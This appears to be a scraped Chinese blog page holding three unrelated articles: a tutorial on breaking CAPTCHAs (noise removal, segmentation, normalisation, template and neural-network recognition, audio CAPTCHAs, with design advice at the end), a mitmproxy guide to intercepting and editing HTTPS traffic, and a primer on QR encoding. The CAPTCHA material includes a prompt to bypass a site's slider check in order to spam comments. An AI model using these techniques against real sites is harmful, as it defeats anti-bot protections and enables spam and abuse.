通过对文字部分和干扰部分取样可以发现,文字部分的R、G值一般在100左右,B值接近255,但是背景干扰的R、G值则大大高于文字部分,接近200,比较接近文字轮廓部分的像素的RG值也在150以上。通过程序遍历一遍像素就可以完全去掉背景。

20130607213146_11252.jpg

Discuz的验证码同理

对于一些和文字颜色相同但是较为分散和单一的干扰像素点,我们可以用判断相邻像素的方法,对于每个点判断该点和相邻8个点的色差,若色差大于某个值,则+1,如果周围有超过6个点的色差都比较大,说明这个点是噪点。对于图像边界的一圈像素,周围没有8个像素,则统统清除,反正文字都在图片的中间位置。

如下图:假如当前像素的坐标是x,y  图形坐标系的原点是图像的左上角

20130607213238_98076.jpg

干扰线对于识别验证码增加了一些难度,不过干扰线只有很小的几率会以大角度曲线的方式出现,大部分时间还是小角度直线,去除算法可以参考http://wenku.baidu.com/view/63bac64f2b160b4e767fcfed.html

对于1个像素粗细的干扰线,在字符为2个像素以上的时候,可以用去噪点算法作为滤镜,多执行几次,就可以完美的把细干扰线去掉。

对于像素数比干扰点稍大的干扰色块,可以采用的算法有:

油漆桶算法(又叫种子填充算法,Floodfill)

种子填充算法可以方便的计算出任意色块的面积,对于没有粘连字符或者粘连但是字符每个颜色不一样的验证码来说,去除干扰色块的效果很好,你只需要大概计算一下最小的和最大的字符平均占多少像素,然后把这段区间之外像素数的色块排除掉即可。

Recursive_Flood_Fill_4_%28aka%29.gif                    Recursive_Flood_Fill_8_%28aka%29.gif

上下左右4个方向填充还有8个方向填充的不同

判断颜色分布:

对于大多数彩色验证码来说,文字基本在图片中心的位置,每个字符本身的颜色是一样的,也就是说对于文字来说,同一种颜色基本都集中在一个固定的区域范围内,通过统计图片中的像素,按近似颜色分组,同时分析每个颜色组在图片中的分布范围,假如说有一种颜色大部分像素都在图片边缘,那么这个颜色肯定不属于要识别的字符,可以去掉。

对于干扰线,并没有一种十分有效的方式能完全去除并且不影响到文字,不过如果能够成功分割字符的话,少量干扰线对于识别率影响不大。

字符分割算法

破解验证码的重点和难点就在于能否成功分割字符,这一点也是机器视觉里的一道难题,对物件的识别能力。对于颜色相同又完全粘连的字符,比如google的验证码,目前是没法做到5%以上的识别率的。不过google的验证码基本上人类也只有30%的识别率

对于字符之间完全没有粘连的验证码,比如这个->_-> 加载中...

分割起来是非常的容易,用最基本的扫描线法就可以分割,比如从最左侧开始从上到下(y=0—||||y=n)扫描,如果没有遇到任何文字的像素,就则往右一个像素然后再扫描,如果遇到有文字像素存在,就记录当前横坐标,继续向右扫,突然没有文字像素的时候,就说明到了两个字符直接的空白部分,重复这个步骤再横向扫描就能找到每个字符最边缘4个像素的位置,然后可以用PIL内建的crop功能把单独的字符抠出来。

对于有少许粘连但是只是在字符边角的地方重叠几个像素的验证码,可以用垂直像素直方图的统计方法分割。如下图:

20130607230457_19520.png

图上半部分是垂直像素直方图的一种直观展示,假如图片宽度为100像素,则把图片切割为100个1像素的竖线,下面的红色部分为当前x坐标上所有黑色像素的总和。这么一来可以很容易的通过直方图的波峰波谷把4个字母分割开。图片的下半部分是扫描线分隔法,因为干扰线和字符旋转的存在,只有M和5直接才出现了连续的空白部分。

除了垂直像素直方图,还可以从不同的角度进行斜线方向的像素数投影,这种方式对于每次全体字符都随机向一个角度旋转的验证码效果很好。对于每次字符大小和数量都一样的验证码还可以用平均分割法,也就是直接先把中间的文字部分整体切出来,然后按宽度平均分成几份,这种方式对字符粘连比较多用其他方式不好分割的验证码很有用,之前的megaupload的3位字母验证码就是通过这种方式成功分割的。

另外对于彩色的验证码,还可以用颜色分割,比如12306的:

20130607233647_17982.png

12306的验证码,每个字符颜色都不一样,真是省事啊。

作为验证码识别里的难点,分割字符还有很多种算法,包括笔画分析曲线角度分析等等,不过即便如此,对粘连的比较厉害的字符还是很难成功的。

标准化

标准化的意思是指对于同一个字符,尽可能让每次识别前的样本都一致,以提高识别率。而验证码设计者则会用随机旋转,随机扭曲还有随机字体大小的方式防止字符被简单方法识别。

还原随机旋转的字符一般采用的是旋转卡壳算法:

20130607235719_94258.png

此算法非常简单,对一张图片左右各旋转30度的范围,每次1度,旋转后用扫描线法判断字符的宽度,对于标准的长方形字体,在完全垂直的时候肯定是宽度最窄的。嗯?纳尼?上面的图是中间的最窄?好像的确是这样,不过只要每次旋转后的结果都一样,对于识别率不会有影响。

扭曲还原的算法比较蛋疼,效果也不怎么样(其实我不会),不过如果识别算法好的话,对扭曲的字符只要人能认出来,识别率也可以达到接近人类的水准。

还有一些常用到的算法,对于提高识别率和减少样本数量有一定帮助:

骨架细化:腐蚀算法

20130608000722_87311.png

腐蚀算法的原理有点像剥洋葱,从最外层沿着最外面的一层像素一圈一圈的去掉,直到里面只剩下一层像素为止。腐蚀算法里面需要用到另一个算法,叫做凸包算法,用来找一堆像素点里面最外围的一层。

最后就是把字符变成统一大小,一般而言是把全部字符都缩到和验证码里出现过的最小的字符一个大小。

详情请自行google……

20130608001005_74310.png

分割算法差不多就到这里了,都是一些比较基础的内容。下面是最终的识别。

0x02 识别

其实到了这一步,单独的字符已经分离出来了,可以训练tesseract ocr来识别了,样本数量多的话,识别率也是很高的。不过在这里还是要讲一下,如何自己来实现识别过程。

第一步,样本现在应该已经是一个矩阵的形式了,有像素的地方是1,背景是0,先肉眼识别一下,然后把这个矩阵转换为字符串,建立一个键值对,标明这串字符串是什么字符。之后就只需要多搜集几个同样字符的不同字符串变形,这就是制作模板的过程,。

搜集了足够多的模板后,就可以开始识别了,最简单的方法:汉明距离,但是如果字符有少许扭曲的话,识别率会低的离谱。对比近似字符串用的最多一般是 编辑距离算法(Levenshtein Distance),具体请自己google。

两种算法的差别在于,对同样两个字符串对比10010101和10101010,汉明距离是6,但是编辑距离是2。

最后一种最NB的识别算法,就是神经网络,神经网络是一种模拟动物神经元工作模式的算法,神经网络有多种不同的结构,但是基本架构分为输入层,隐含层和输出层,输入和输出均为二进制。

20130608003739_59697.png

对于验证码识别来说,输入和输出节点不宜过多,因为多了很慢……所以如果样本矩阵为20×20 400个像素的话,需要对应的也要有400个输入节点,因此我们需要对整个矩阵提取特征值,比如先横向每两个数字XOR一下,然后再竖向每两个数字XOR。

Python有很多封装好的神经网络库,你所需要的只是把特征值输入神经网络,再告诉他你给他的是什么(字符),这样多喂几次之后,也就是训练的过程,随着训练的进行,神经网络的内部结构会改变,逐渐向正确的答案靠拢。神经网络的优势是,对于扭曲的字符识别成功率非常高。另外神经网络在信息安全中还可以起到很多其他作用,比如识别恶意代码等等。

动画验证码

有些不甘寂寞的程序员又玩出了些新花样,比如各种GIF甚至flv格式的动画验证码,下面我来分析一下腾讯安全中心的GIF验证码。

20130608005708_49515.gif

晃来晃去的看似很难,放慢100倍一帧一帧再看看?

20130608010202_83349.gif

基本上每帧都有一个字符和其他的分开,用最简单的扫描法就能分割出来。

剩下的就很轻松了,旋转还原之后,先填充内部空白,缩小细化之后做成模板对比,识别率怎么也得有90%了。

原本一张图就能搞定的事情,偏偏给了我们8张图,而且每张图还有一点区别,平白无故增大了很多信息量。

另外就是一些所谓的高用户体验的验证码,比如freebuf的:

20130608010939_57828.png

拖动解锁按钮会触发执行一段js,生成一串随机字符串,ajax给后端程序判断。

破解方式就当留给大家的思考题了,假如我想刷评论的话,怎么办。

还有就是声音验证码的识别,现在很多验证码为了提高用户体验和照顾视觉障碍的用户,都有声音验证码,一般来说是机器生成一段读数字的语音。但是在这方面上很多程序员都偷懒了,预先找了10个数字的声音录音,然后生成的时候把他们随机拼到一起,结果就是这样:

20130608011512_96225.png

前3秒为语音提示,后面的是数字,有没有发现什么?

声音也是可以做成模板的哦

最后就是应该怎么样去设计验证码

•整体效果


•字符数量一定范围内随机


•字体大小一定范围内随机


•波浪扭曲(角度方向一定范围内随机)


•防识别


•不要过度依赖防识别技术


•不要使用过多字符集-用户体验差


•防分割 


•重叠粘连比干扰线效果好


•备用计划


•同样强度完全不同的一套验证码

附件添加一个破解验证码的实例包括程序大家自行研究吧

http://up.2cto.com/2013/0618/20130618112202861.zip

[Mac]一步一步教你 HTTPS 抓包

在 Mac 上常用的抓包软件是 Charles,网上关于 Charles 的教程很多,这里介绍另一个抓包神器 mitmproxy。mitmproxy 是一款可交互式的命令行抓包工具,它除了可以抓包查看 http/https 请求,还有一个很强大的功能是拦截并修改 request 或者 response,后面我会用实际例子演示如何修改知乎的回答:)

安装

mitmproxy 官网 介绍了用以下命令来安装

pip install mitmproxy

我在实际安装过程中遇到了一些坑,首先是 OSX El Capitan 及以上的系统版本在安装时会出现 six 模块依赖错误,具体可以看这儿的讨论。还有一个问题是安装过程中会出现权限错误,需要以 root 权限执行。最后用以下命令成功安装,安装不了需要翻一下墙

pip install mitmproxy --ignore-installed six

开始使用

首先需要配置一下网络环境,将手机和电脑连在同一个 wifi 环境下,然后进入手机的 设置 – 无线局域网,点击当前连接的 wifi 进入详情设置页面,在 http 代理那一栏输入当前连接的 ip 地址,端口填8080,这个 ip 地址可以在电脑上的 系统偏好 – 网络 里查看,配置完成如下图,


网络环境配置完成后我们可以开始实际的抓包了,只需在电脑上打开终端(命令行操作窗口),然后输入 mitmproxy -p 8080,如果你看到如下页面说明你已成功进入抓包模式,迈出了第一步,cheer~


接下去你可以用手机打开一些 App,不出意外你能看到一些 http 请求的列表。这时候我们还无法抓到 https 的包,还需要做一些额外配置。

下面的操作是针对 iPhone 手机,其他设备也类似。用 iPhone 打开 Safari 浏览器并输入 mitm.it,这时你会看到如下页面,


选择对应平台并安装证书,安装完成后就可以抓 https 的包了,官网上解释了这个工具是如何工作的

注意:用浏览器打开时需要已经在抓包模式,否则是无法看到上述页面的

好了,到这里我们已经完成了所有的准备工作,接下去就和我一起实际体验一下 https 的抓包过程吧。

这里以知乎为例,用手机打开知乎,我们应该能看到知乎的请求出现在列表里了,类似下图:


键盘上下移动,Enter 键进入查看详情,按 Tab 键切换顶部导航栏,如下图所示,


Tips:输入z可以清空列表,输入f再输入~u xxx可以过滤出 url 为 xxx 的请求,更多匹配规则输入? 查看

请求拦截

上面演示的是常规的操作,下面介绍一下 mitmproxy 的另一强大功能,拦截修改 request 和 response。

输入 i,然后输入 ~s 再按回车键,这时候就进入了 response 拦截模式。如果输入 ~q 则进入 request 的拦截模式,更多的命令可以输入 查看。拦截模式下的页面显示如下图所示,


其中橘红色的表示请求正被拦截,这时 Enter 进入后 再按 e 就可以修改 request 或者 response。修改时是用 vim 进行编辑的,修改完成后按 a 将请求放行,如果要放行所有请求输入 A 即可。

下图是我修改了某个答案的 response 请求将回答者的名字做了修改,因为只修改了 response 并不会影响其他的用户显示:)


上面提到的那些指令在输入 后都能查看到,如下图,另外官网上也有很详细的说明


我用上述方式尝试了大多数的 App,包括淘宝、微博,都能抓到 https 的包,有些有加密,有些没有加密。但是简书做了防中间人攻击的设置,一启用抓包模式就显示网络错误1012,还是做的很不错的,赞一个~

按照上面的过程就可以 https 抓包了,如果有遇到问题可以联系我,记得抓完后将手机 wifi 设置里的 http 代理关闭。开始实际体验一下吧,enjoy~

 

TODO:安装的时候出错…

[转]二维码编码原理简介

一、什么是二维码:
二维码 (2-dimensional bar code),是用某种特定的几何图形按一定规律在平面(二维方向上)
分布的黑白相间的图形记录数据符号信息的。

在许多种类的二维条码中,常用的码制有:Data Matrix, Maxi Code, Aztec, QR Code, Vericode, PDF417, Ultracode, Code 49, Code 16K等。
  1.堆叠式/行排式二维条码,如,Code 16K、Code 49、PDF417(如下图)等

2.矩阵式二维码,最流行莫过于QR CODE
二维码的名称是相对与一维码来说的,比如以前的条形码就是一个“一维码”,
它的优点有:二维码存储的数据量更大;可以包含数字、字符,及中文文本等混合内容;有一定的容错性(在部分损坏以后可以正常读取);空间利用率高等。

二、QR CODE 介绍
QR(Quick-Response) code是被广泛使用的一种二维码,解码速度快。
它可以存储多用类型

如上图时一个qrcode的基本结构,其中:
位置探测图形、位置探测图形分隔符、定位图形:用于对二维码的定位,对每个QR码来说,位置都是固定存在的,只是大小规格会有所差异;
校正图形:规格确定,校正图形的数量和位置也就确定了;
格式信息:表示改二维码的纠错级别,分为L、M、Q、H;

版本信息:即二维码的规格,QR码符号共有40种规格的矩阵(一般为黑白色),从21×21(版本1),到177×177(版本40),每一版本符号比前一版本 每边增加4个模块。
数据和纠错码字:实际保存的二维码信息,和纠错码字(用于修正二维码损坏带来的错误)。

简要的编码过程:
  1. 数据分析:确定编码的字符类型,按相应的字符集转换成符号字符; 选择纠错等级,在规格一定的条件下,纠错等级越高其真实数据的容量越小。

    2. 数据编码:将数据字符转换为位流,每8位一个码字,整体构成一个数据的码字序列。其实知道这个数据码字序列就知道了二维码的数据内容。


数据可以按照一种模式进行编码,以便进行更高效的解码,例如:对数据:01234567编码(版本1-H),
1)分组:012 345 67
2)转成二进制:012→0000001100
345→0101011001
67 →1000011
3)转成序列:0000001100 0101011001 1000011
4)字符数 转成二进制:8→0000001000
5)加入模式指示符(上图数字)0001:0001 0000001000 0000001100 0101011001 1000011
对于字母、中文、日文等只是分组的方式、模式等内容有所区别。基本方法是一致的

  3. 纠错编码:按需要将上面的码字序列分块,并根据纠错等级和分块的码字,产生纠错码字,并把纠错码字加入到数据码字序列后面,成为一个新的序列。

在二维码规格和纠错等级确定的情况下,其实它所能容纳的码字总数和纠错码字数也就确定了,比如:版本10,纠错等级时H时,总共能容纳346个码字,其中224个纠错码字。
就是说二维码区域中大约1/3的码字时冗余的。对于这224个纠错码字,它能够纠正112个替代错误(如黑白颠倒)或者224个据读错误(无法读到或者无法译码),
这样纠错容量为:112/346=32.4%

4. 构造最终数据信息:在规格确定的条件下,将上面产生的序列按次序放如分块中
按规定把数据分块,然后对每一块进行计算,得出相应的纠错码字区块,把纠错码字区块 按顺序构成一个序列,添加到原先的数据码字序列后面。
如:D1, D12, D23, D35, D2, D13, D24, D36, … D11, D22, D33, D45, D34, D46, E1, E23,E45, E67, E2, E24, E46, E68,…

构造矩阵:将探测图形、分隔符、定位图形、校正图形和码字模块放入矩阵中。

把上面的完整序列填充到相应规格的二维码矩阵的区域中

  6. 掩摸:将掩摸图形用于符号的编码区域,使得二维码图形中的深色和浅色(黑色和白色)区域能够比率最优的分布。
一个算法,不研究了,有兴趣的同学可以继续。
    7. 格式和版本信息:生成格式和版本信息放入相应区域内。
版本7-40都包含了版本信息,没有版本信息的全为0。二维码上两个位置包含了版本信息,它们是冗余的。
版本信息共18位,6X3的矩阵,其中6位时数据为,如版本号8,数据位的信息时 001000,后面的12位是纠错位。